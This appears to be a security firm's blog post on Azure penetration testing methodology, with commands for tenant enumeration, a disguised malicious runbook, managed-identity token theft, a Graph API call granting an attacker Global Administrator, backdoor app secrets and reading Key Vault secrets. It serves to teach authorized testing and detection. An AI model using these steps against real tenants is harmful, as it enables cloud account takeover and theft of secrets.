
Testing Azure environments requires a fundamentally different approach than traditional network or web application penetration testing. The attack surface is defined by identity, role assignments, and service configuration rather than open ports and unpatched software. This post walks through a practical methodology for Azure penetration testing, the mindset shift required to test cloud environments effectively, and concrete techniques used at each phase of an engagement.
In traditional infrastructure testing, the perimeter is largely defined by network boundaries. In Azure, the perimeter is defined by identity. A single set of compromised credentials with the right role assignment can grant an attacker access equivalent to, or greater than, what a network-level compromise would provide in an on-premises environment.
This shift means Azure testers need to think in terms of:
Organizations moving workloads to Azure often assume cloud provider security controls handle most of the risk, when in practice the majority of real-world Azure compromises stem from customer-side misconfiguration. Sagefox Cybersecurity structures Azure assessments around this identity-first reality rather than applying a traditional network penetration testing checklist to a cloud environment.
Before any credentials are involved, significant information can be gathered about a target tenant through publicly accessible endpoints.
bash
# Enumerate tenant ID and associated domains
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=user@targetdomain.com&xml=1"
# Check for valid usernames via Azure AD login response timing and error codes
curl -s -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
-H "Content-Type: application/json" \
-d '{"Username":"testuser@targetdomain.com"}'Once initial access is obtained, whether through phishing, a leaked credential, or a client-provided starting account, enumeration shifts to mapping the tenant's identity structure.
powershell
# Using AzureAD PowerShell module to enumerate users
Connect-AzureAD
Get-AzureADUser -All $true | Select-Object DisplayName, UserPrincipalName, UserType
# Enumerate group memberships for privilege mapping
Get-AzureADGroup -All $true | ForEach-Object {
Get-AzureADGroupMember -ObjectId $_.ObjectId | Select-Object DisplayName, @{N='Group';E={$_.DisplayName}}
}Mapping who has what role, at what scope, is the single most important enumeration step in an Azure engagement, since this directly reveals the paths to privilege escalation.
bash
# Using the Azure CLI to enumerate role assignments across the subscription
az role assignment list --all --output table
# Identify custom roles that may have overly broad permissions
az role definition list --custom-role-only true --output jsonTools purpose-built for Azure attack path analysis dramatically speed up identifying privilege escalation chains that would take hours to trace manually.
bash
# Using AzureHound to collect data for attack path analysis
azurehound list --tenant targettenant.onmicrosoft.com \
--app-id CLIENT_ID --secret CLIENT_SECRET -o azure_data.jsonThe collected data can then be ingested into a graph analysis platform to visualize privilege escalation paths from a low-privilege user to Global Administrator, which is often the single most valuable output of the entire reconnaissance phase.
Automation accounts often run with elevated permissions through their associated Run As account, and a user with Contributor or Owner rights on the automation account can inject code that executes with those elevated permissions.
powershell
# Enumerate automation accounts and their permissions
Get-AzAutomationAccount
# Create a malicious runbook that executes with the automation account's identity
$runbookContent = @"
`$context = Get-AzContext
Write-Output `$context
Get-AzRoleAssignment
"@
New-AzAutomationRunbook -AutomationAccountName "TargetAutomation" `
-Name "MaintenanceCheck" -Type PowerShell -ResourceGroupName "TargetRG"
Set-AzAutomationRunbookContent -AutomationAccountName "TargetAutomation" `
-Name "MaintenanceCheck" -ResourceGroupName "TargetRG" -Path "runbook.ps1"
Publish-AzAutomationRunbook -AutomationAccountName "TargetAutomation" `
-Name "MaintenanceCheck" -ResourceGroupName "TargetRG"
Start-AzAutomationRunbook -AutomationAccountName "TargetAutomation" `
-Name "MaintenanceCheck" -ResourceGroupName "TargetRG"Virtual machines and other resources configured with a managed identity can be leveraged to obtain a token for whatever role that identity has been assigned, often without any credentials being visible on the resource itself.
bash
# From a compromised VM with a managed identity assigned, request a token
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"If that managed identity has been assigned Contributor or higher at a subscription or resource group scope, this token grants the attacker equivalent access without ever needing the original operator's actual credentials.
Applications registered in Azure AD with excessive API permissions, particularly Application-level Microsoft Graph permissions rather than delegated permissions, represent a common escalation path.
bash
# Enumerate app registrations and their assigned API permissions
az ad app list --query "[].{Name:displayName, AppId:appId}" --output table
az ad app permission list --id APP_ID_HEREAn application with RoleManagement.ReadWrite.Directory or similar high-privilege Graph permissions, if its credentials are compromised, can be used to directly assign the attacker's account to Global Administrator.
python
import requests
token = "ACQUIRED_APP_TOKEN"
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
body = {
"principalId": "ATTACKER_OBJECT_ID",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}
response = requests.post(
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments",
headers=headers, json=body
)
print(response.json())Storage accounts, key vaults with overly permissive access policies, and Azure DevOps pipeline variables are frequent sources of exposed secrets that provide a path to further access.
bash
# Checking for publicly accessible storage account containers
az storage container list --account-name targetstorageaccount --auth-mode login
# Attempting anonymous access if container ACLs are misconfigured
curl -s "https://targetstorageaccount.blob.core.windows.net/backups?restype=container&comp=list"Once a foothold exists in one subscription, cross-subscription role assignments, shared key vaults, and virtual network peering are common paths to expand access into adjacent environments.
bash
# Enumerate all subscriptions the current context has any visibility into
az account list --output table
# Check for role assignments granting access into other subscriptions
az role assignment list --all --query "[?scope contains 'subscriptions']" --output tableSimilar to the on-premises technique of creating a backdoor account, Azure persistence often takes the form of an application registration with a long-lived client secret that survives typical credential rotation practices.
bash
az ad app create --display-name "InternalSyncService"
az ad app credential reset --id APP_ID_HERE --append --years 2A subtle but effective persistence technique involves modifying conditional access policies to exclude a specific account or location from multi-factor authentication requirements, which is easy to overlook during a policy review unless specifically audited.
bash
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"Real-world impact in an Azure engagement usually centers on demonstrating access to sensitive data stores or the ability to disrupt production workloads, always within the agreed engagement scope.
bash
# Enumerate accessible key vaults and their secrets given current permissions
az keyvault list --output table
az keyvault secret list --vault-name TargetVault
az keyvault secret show --vault-name TargetVault --name "DatabaseConnectionString"Demonstrating that a specific privilege escalation chain leads to reading a production database connection string, rather than simply noting that a role assignment exists, is what transforms a theoretical finding into something a client's leadership will prioritize fixing.
Azure privilege relationships form a graph, where a low-privilege user might reach Global Administrator through a chain of three or four intermediate steps involving group memberships, role assignments, and resource permissions. Testing methodology that only checks individual role assignments in isolation misses these chains entirely. Effective Azure testers build and analyze the full graph before drawing conclusions about what is and is not exploitable.
Rather than only testing external perimeter access, mature Azure assessments often begin with an assumed breach scenario, starting with a standard, non-privileged user account, since this reflects the most common real-world starting point for an actual attacker who has phished a single employee.
Not every finding is a customer-side issue, and not every default Azure behavior is a vulnerability. Effective testers understand precisely where Microsoft's responsibility ends and the customer's configuration responsibility begins, which prevents wasted effort chasing platform behavior that cannot be remediated by the client and keeps findings focused on what is actually actionable.
A missing patch on a single virtual machine is rarely as impactful in Azure as a single overly permissive role assignment or an exposed application secret with high-privilege Graph permissions. Reporting and prioritization should reflect this reality rather than defaulting to traditional vulnerability severity scoring models built for on-premises environments.
Azure environments change constantly as new resources, applications, and role assignments are added by different teams. A point-in-time assessment captures a snapshot that can be outdated within weeks. Organizations with mature cloud security programs pair periodic deep assessments with continuous configuration monitoring to catch drift between engagements.
Running identified attack paths against the client's actual detection tooling, in coordination with their security team, validates whether Azure AD sign-in logs, Microsoft Defender for Cloud, and SIEM correlation rules actually catch the techniques described above, rather than assuming logging coverage exists simply because the service is enabled.
bash
# Reviewing Azure AD sign-in logs for anomalous activity during testing
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/auditLogs/signIns?\$filter=riskLevelDuringSignIn eq 'high'"Azure penetration testing succeeds or fails based on how well the tester understands identity as the true security boundary, rather than treating the engagement like a traditional network assessment layered on top of cloud infrastructure. Enumeration should focus on role assignments and trust relationships, escalation paths should be mapped as a graph rather than a list of isolated findings, and impact should be demonstrated through concrete access to sensitive resources rather than theoretical permission analysis alone.
Organizations relying on Azure for production workloads should treat identity and role configuration testing as a standing requirement, tied to the pace of change in their environment rather than an annual checkbox exercise. Teams looking to assess their Azure environment against this identity-first methodology can work with Sagefox Cybersecurity to scope an engagement built around real attack paths rather than a generic cloud checklist.